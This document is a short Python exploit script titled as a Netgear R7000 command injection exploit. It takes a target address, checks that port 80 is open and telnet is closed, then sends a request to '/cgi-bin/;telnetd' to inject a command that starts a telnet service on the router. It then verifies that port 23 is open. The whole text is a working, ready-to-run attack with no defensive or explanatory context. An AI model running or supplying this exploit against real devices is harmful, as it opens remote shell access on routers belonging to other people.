Simple Netgear R7000 Command Injection Exploit

#! /usr/bin/python

import socket
import sys
import requests

#This is a pretty simple exploit, not many modules needed!


if len(sys.argv) != 2:
    print "usage: ./exploit [TARGET]"
    sys.exit(1)

host = sys.argv[1]

def checkVuln():
    print 'checking host... ',; sys.stdout.flush()
    try:
        s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result1 = s1.connect_ex((host, 80))
        s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result2 = s2.connect_ex((host, 23))
        s1.close()
        s2.close()
        if result1 == 0 and result2 != 0:
            print 'done'
        else:
            raise Exception
    except Exception:
        print 'fail'
        sys.exit(1)

def exploit():
    print 'attempting exploit... ',; sys.stdout.flush()
    try:
        request = requests.get('http://' + host + '/cgi-bin/;telnetd')
        print 'done'
    except Exception:
        print 'done'

def verify():
    print 'verifying exploitation... ',; sys.stdout.flush()
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = s.connect_ex((host, 23))
        s.close()
        if result == 0:
            print 'success!'
        else:
            raise Exception
    except Exception:
        print 'fail'
        sys.exit(1)

checkVuln()
exploit()
verify()